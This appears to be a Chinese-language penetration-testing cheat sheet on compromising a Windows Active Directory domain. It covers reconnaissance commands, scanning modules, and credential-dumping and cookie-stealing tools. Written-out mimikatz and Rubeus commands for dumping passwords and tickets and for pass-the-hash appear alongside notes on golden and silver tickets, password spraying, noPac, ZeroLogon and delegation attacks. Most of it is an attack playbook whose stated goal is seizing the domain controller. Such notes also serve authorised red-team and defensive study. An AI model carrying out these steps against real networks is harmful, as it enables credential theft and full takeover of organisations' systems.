内网渗透思路:
通过外网撕开的口子,定位域控的IP及域管理员的账号,因为域管理员可以登录任何成员机子,可以找域管登陆过的机子,然后dump出域管密码,进而拿下域控
域内信息收集
域内收集信息的命令
net:
net user # 本机用户列表
net localgroup administrators # 本机管理员[通常含有域用户]
net user /domain # 查询域用户
net group /domain # 查询域里面的工作组
net group "domain admins" /domain # 查询域管理员用户组
net localgroup administrators /domain # 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ----->域用户添加到本机
net group "Domain controllers" - # 查看域控制器(如果有多台)
net view # 查询同一域内机器列表 net view /domain # 查询域列表
net view /domain:domainname
dsquery:
dsquery computer domainroot -limit 65535 && net group "domain computers" /domain # 列出该域内所有机器名
dsquery user domainroot -limit 65535 && net user /domain # 列出该域内所有用户名
dsquery subnet # 列出该域内网段划分
dsquery group && net group /domain # 列出该域内分组
dsquery ou # 列出该域内组织单位
dsquery server && net time /domain # 列出该域内域控制器
else:
ifconfig /all # 查看网络配置
systeminfo
tasklist /svc # 查看服务列表
netstat -ano # 查看端口开放情况
常用工具收集信息
nmap
建立socks代理,扫描内网
-sT: TCP 扫描
-sS: SYN 扫描
-sA: ACK 扫描
-sF:FIN 扫描
-sU: UDP 扫描
-sR: RPC 扫描
-sP: ICMP 扫描
msf
主机存活探测:
auxiliary/scanner/discovery/arp_sweep # ARP 扫描
auxiliary/scanner/discovery/udp_sweep # UDP 扫描
auxiliary/scanner/netbios/nbname # NETBIOS 扫描
auxiliary/scanner/snmp/snmp_enum # 扫描
auxiliary/scanner/smb/smb_version # SMB 扫描
端口扫描:
auxiliary/scanner/portscan/ack # TCP ACK 端口扫描
auxiliary/scanner/portscan/ftpbounce # FTP bounce 端口扫描
auxiliary/scanner/portscan/syn # SYN 端口扫描
auxiliary/scanner/portscan/tcp # TCP 端口扫描
auxiliary/scanner/portscan/xmas # TCP XMas 端口扫描
msscan
快速扫描端口
收集本地机子各种密码
windows当前用户密码:
mimikatz : https://github.com/gentilkiwi/mimikatz 可以配合一些windows白名单把lass.exe内的密码dump下来然后本地破解密码
浏览器内各种密码
窃取浏览器cookie : https://github.com/DeEpinGh0st/Browser-cookie-steal
导出浏览器数据 : https://github.com/moonD4rk/HackBrowserData
xshell/xftp密码
解密xshell/xftp密码 : https://github.com/dzxs/Xdecrypt
navicat
https://blog.csdn.net/CCESARE/article/details/104746596
分析域内架构
DMZ
管理网
生产网
测试网
横向渗透
SYSVOL
sysvol是指存储公共服务器副本的共享文件,在域中的域控之间复制,用来存放GPO、script等信息
可以查找SYSVOL或者组策略首选项中保存的密码
MS14-068
kerberos协议漏洞
PAC是验证client的访问权限的,被放在TGT里发给client,然后由client发给TGS
kdcsvc.dll域控制器的秘钥分发中心(KDC)存在一个漏洞,允许经过身份认证的用户在其获得的票据TGT中插入任意PAC,普通用户可以拿改变了PAC的TGT来伪造票据获取管理员权限
黄金票据
在windows的kerberos认证的过程中,client将信息发送给KDC,然后KDC把krbtgt用户的NTLM-Hash作为秘钥进行加密,生成TGT,如果我们拿到了jrbtgt用户的NTLM-Hash,就可以伪造TGT,前提是得拿到jrbtgt用户的NTLM-Hash,而该用户只有域控制器上面才有
所需条件:
域名称
域SID值
域的jrbtgt账户的HASH
伪造任意用户名
银票据
银票据的利用是伪造TGS,通过已知的授权服务密码生成可以访问该服务的TGT,在生成过程中不需要使用KDC,因此可以绕过域控制器,白银票据依赖于服务账号的密码散列值,相对于黄金票据更加隐蔽
PTH
直接通过nt hash或者ntlm hash访问远程主机,可以使用mimitkaz或者psexec进行hash传递
- mimitkaz:
privilege::debug
sekurlsa::logonpasswords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:xxxxxxxxxxxxxxxxx
- psexec:
注意点:
需要远程系统开启admin$共享
需要目标开启445端口
非域用户无法利用内存中的票据使用psexec功能,只能用账号密码传递
域服务账号破解
在mimikatz提取的门票,用rgsrepcrack破解
密码喷洒
和爆破类似,只不过是用固定的密码去爆破用户名,这样可以增加爆破的成功率,清除账户被锁定的概率
CVE-2021-42278 && CVE-2021-42287
https://github.com/cube0x0/noPac
ZeroLogon(CVE-2020-1472)
该漏洞可将域控用户的密码置空
委派攻击
域委派是指把域内用户的权限委派给服务账号,就好比你访问了我,然后我拿着你访问我的凭证去访问别的机子,委派攻击分为非约束委派攻击、约束委派攻击和资源委派攻击
非约束委派
当用户访问某个机子的时候会向dc发起认证,dc会检查该机子的账号的属性,如果是非约束委派,会吧用户的TGT放在ST票据中一起发送给那台要访问的机子,然后那台机子就会把用户的TGT储存在自己的lsass中,那么该怎么利用呢,我们如果拿下了一台配置了非约束委派的机子,可以诱导管理员访问该机子,然后就拿到了管理员的TGT,就可以模拟管理员访问任意服务了
可以配合spooler打印机服务由被动转换为主动
获取票据:
privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export
Rubeus dump /service:krbtgt /nowrap
Rubeus dump /luid:0xdeadbeef /nowrap
查找非约束委派的机子:
Get-NetComputer -Unconstrained
Get-DomainComputer -Unconstrained -Properties DnsHostName
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p
约束委派
由于非约束委派的不安全性,引入了约束委派
当用户访问机子1的时候,会向dc发起kerberos认证,然后域控返回用户的TGT和ST1票据,用户使用ST1票据对机子1进行访问,如果配置了机子1到机子2的约束委派,则机子1可以使用S4U2Proxy协议将用户发给自己的ST1票据以用户的身份发给dc,最后域控就返回一个访问机子2的ST2票据给机子1,这样机子1就能以用户身份访问机子2了
获取票据:
privilege::debug sekurlsa::tickets /export sekurlsa::tickets /
Rubeus dump /service:krbtgt /nowrap
Rubeus dump /luid:0xdeadbeef /nowrap
查找约束委派的机子:
Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS- AllowedToDelegateTo
MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p
MATCH (u:User {owned:true}), (c:Computer {name: "<MYTARGET.FQDN>"}), p=shortestPath((u)-[*1..]->(c)) RETURN p